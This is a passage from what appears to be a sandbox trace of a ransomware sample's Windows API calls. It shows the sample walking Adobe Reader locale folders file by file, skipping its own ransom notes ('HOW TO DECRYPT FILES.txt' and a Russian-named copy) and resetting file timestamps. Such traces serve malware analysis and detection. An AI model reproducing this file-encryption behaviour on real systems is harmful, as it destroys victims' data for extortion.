pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\") returned="" [0070.482] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0070.482] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0070.482] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0070.482] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.482] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Spelling.CZE") returned -1 [0070.482] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Spelling.CZE") returned -1 [0070.482] lstrcmpiA (lpString1="", lpString2="Spelling.CZE") returned -1 [0070.482] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*.*") returned="*.*" [0070.482] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.482] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.483] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="updater.CZE", cAlternateFileName="")) returned 1 [0070.483] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.483] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="updater.CZE") returned -1 [0070.483] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="updater.CZE") returned -1 [0070.483] lstrcmpiA (lpString1="", lpString2="updater.CZE") returned -1 [0070.483] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Spelling.CZE") returned="Spelling.CZE" [0070.483] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.483] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.483] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="WebLink.CZE", cAlternateFileName="")) returned 1 [0070.483] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.483] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebLink.CZE") returned -1 [0070.483] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebLink.CZE") returned -1 [0070.484] lstrcmpiA (lpString1="", lpString2="WebLink.CZE") returned -1 [0070.484] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\updater.CZE") returned="updater.CZE" [0070.484] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.484] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.484] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="WebLink.CZE", cAlternateFileName="")) returned 0 [0070.484] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.484] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="da_DK", cAlternateFileName="")) returned 1 [0070.484] lstrcmpA (lpString1=".", lpString2="da_DK") returned -1 [0070.484] lstrcmpA (lpString1="..", lpString2="da_DK") returned -1 [0070.484] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*") returned="*.*" [0070.485] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.490] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.490] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.490] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.490] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.490] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0070.491] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.491] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="accessibility.DAN") returned 1 [0070.491] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="accessibility.DAN") returned 1 [0070.491] lstrcmpiA (lpString1="", lpString2="accessibility.DAN") returned -1 [0070.491] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*.*") returned="*.*" [0070.491] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.491] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.493] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.493] CloseHandle (hObject=0x94) returned 1 [0070.494] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DAN", cAlternateFileName="")) returned 1 [0070.494] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.494] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Acroform.DAN") returned 1 [0070.494] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Acroform.DAN") returned 1 [0070.494] lstrcmpiA (lpString1="", lpString2="Acroform.DAN") returned -1 [0070.494] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN") returned="accessibility.DAN" [0070.494] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.494] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.494] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="AdobeCollabSync.DAN", cAlternateFileName="ADOBEC~1.DAN")) returned 1 [0070.495] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.495] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeCollabSync.DAN") returned 1 [0070.495] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeCollabSync.DAN") returned 1 [0070.495] lstrcmpiA (lpString1="", lpString2="AdobeCollabSync.DAN") returned -1 [0070.495] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN") returned="Acroform.DAN" [0070.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.495] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.495] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x74, dwReserved1=0x0, cFileName="Annots.DAN", cAlternateFileName="")) returned 1 [0070.495] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.495] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Annots.DAN") returned 1 [0070.495] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Annots.DAN") returned 1 [0070.495] lstrcmpiA (lpString1="", lpString2="Annots.DAN") returned -1 [0070.495] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN") returned="AdobeCollabSync.DAN" [0070.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.495] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.496] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x74, dwReserved1=0x0, cFileName="BRdlang32.DAN", cAlternateFileName="BRDLAN~1.DAN")) returned 1 [0070.496] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.496] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BRdlang32.DAN") returned 1 [0070.496] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BRdlang32.DAN") returned 1 [0070.496] lstrcmpiA (lpString1="", lpString2="BRdlang32.DAN") returned -1 [0070.496] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN") returned="Annots.DAN" [0070.496] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.496] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.496] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Checkers.DAN", cAlternateFileName="")) returned 1 [0070.496] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.496] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Checkers.DAN") returned 1 [0070.496] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Checkers.DAN") returned 1 [0070.496] lstrcmpiA (lpString1="", lpString2="Checkers.DAN") returned -1 [0070.496] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN") returned="BRdlang32.DAN" [0070.496] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.496] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.497] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x74, dwReserved1=0x0, cFileName="DigSig.DAN", cAlternateFileName="")) returned 1 [0070.497] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.497] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DigSig.DAN") returned 1 [0070.497] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DigSig.DAN") returned 1 [0070.497] lstrcmpiA (lpString1="", lpString2="DigSig.DAN") returned -1 [0070.497] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN") returned="Checkers.DAN" [0070.497] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.497] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.497] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DVA.DAN", cAlternateFileName="")) returned 1 [0070.497] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.497] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DVA.DAN") returned 1 [0070.497] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DVA.DAN") returned 1 [0070.497] lstrcmpiA (lpString1="", lpString2="DVA.DAN") returned -1 [0070.497] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN") returned="DigSig.DAN" [0070.498] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.498] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.498] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="eBook.DAN", cAlternateFileName="")) returned 1 [0070.498] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.498] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eBook.DAN") returned -1 [0070.498] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eBook.DAN") returned 1 [0070.498] lstrcmpiA (lpString1="", lpString2="eBook.DAN") returned -1 [0070.498] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN") returned="DVA.DAN" [0070.498] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.498] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.498] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="EScript.DAN", cAlternateFileName="")) returned 1 [0070.498] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.499] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EScript.DAN") returned -1 [0070.499] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EScript.DAN") returned 1 [0070.499] lstrcmpiA (lpString1="", lpString2="EScript.DAN") returned -1 [0070.499] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN") returned="eBook.DAN" [0070.499] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.499] PathAddBackslashA (in: pszPath="C:\\Program Files 